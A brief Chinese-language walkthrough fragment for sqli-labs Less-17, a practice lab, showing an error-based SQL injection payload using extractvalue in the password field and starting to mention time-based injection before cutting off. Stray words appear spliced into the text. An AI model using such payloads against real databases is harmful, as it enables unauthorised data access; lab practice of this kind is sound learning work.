sqli-labs-Less-17

這一關與密碼有關，咱們嘗試下報錯web 輸入username:admin password=1' 故對密碼處理時應該使用「 報錯注入less username:admin password:1'and extractvalue(1,concat(0x7e,(select version()),0x7e))# version()能夠換成其餘語句進行注入svg 延時注入函數 username:admi

>>阅读原文<<